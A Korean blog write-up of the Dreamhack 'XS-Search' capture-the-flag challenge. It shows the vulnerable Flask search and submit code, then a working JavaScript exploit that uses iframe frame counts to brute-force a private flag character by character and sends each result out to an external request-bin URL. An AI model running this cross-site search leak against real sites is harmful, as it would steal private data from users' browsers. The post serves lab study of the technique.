본문 바로가기

웹해킹

드림핵 XS-Search 롸업

@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)

flag는 로컬호스트 이용자의 노트에만 있다.

{% extends "base.html" %}
{% block title %}Search{% endblock %}

{% block head %}
  {{ super() }}
{% endblock %}

{% block content %}
<h2>Search</h2><br/>
{% if result %}
  <h3>Searching "{{ query }}" found</h3>
  <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
  <h3> Searching "{{ query }}" not found</h3>
{% else %}
  <form method="GET" class="form-inline">
      <div class="form-group">
          <label class="sr-only" for="query">/</label>
          <div class="input-group">
              <div class="input-group-addon">Query: </div>
              <input type="text" class="form-control" id="query" name="query" placeholder="DreamHack">
          </div>
      </div>
      <button type="submit" class="btn btn-primary">Search</button>
  </form>
{% endif %}
{% endblock %}

search.html 파일을 보면 result변수가 존재할 때만 iframe을 생성한다.

@app.route("/submit", methods=["GET", "POST"])
def submit():
    if request.method == "GET":
        return render_template("submit.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        if not urlparse(url).scheme.startswith("http"):
            return '<script>alert("wrong url");history.go(-1);</script>'
        if not read_url(url):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

submit 페이지에서는 url에 접속을 해준다. 

 

search에서 결과가 존재할 때는 iframe을 생성하기 때문에 iframe을 조회해서 맞는 쿼리가 들어갔는지 확인할 수 있다.

<iframe id="iframe"></iframe>
<img id="img">
<script>
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }
    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }
    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";
        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://jntkwbc.request.dreamhack.games/${secret}`;
                    break;
                }
            }
        }
    }
    exploit();
</script>

blind injection에서 했던 것과 유사하게 이런 exploit 코드를 작성한다.

외부 서버, 깃에 이 코드를 올려놓고 submit 페이지에서 url을 넣어주면

설정한 request bin으로 flag가 하나씩 찾아져서 보내진다.

'웹해킹' 카테고리의 다른 글

SQL Injection-1  (0) 2023.11.30
드림핵 DOM XSS 롸업  (0) 2023.11.26
DOM & Javascript  (0) 2023.11.26
드림핵 Relative Path Overwrite Advanced 롸업  (0) 2023.11.26
드림핵 Relative Path Overwrite 롸업  (0) 2023.11.26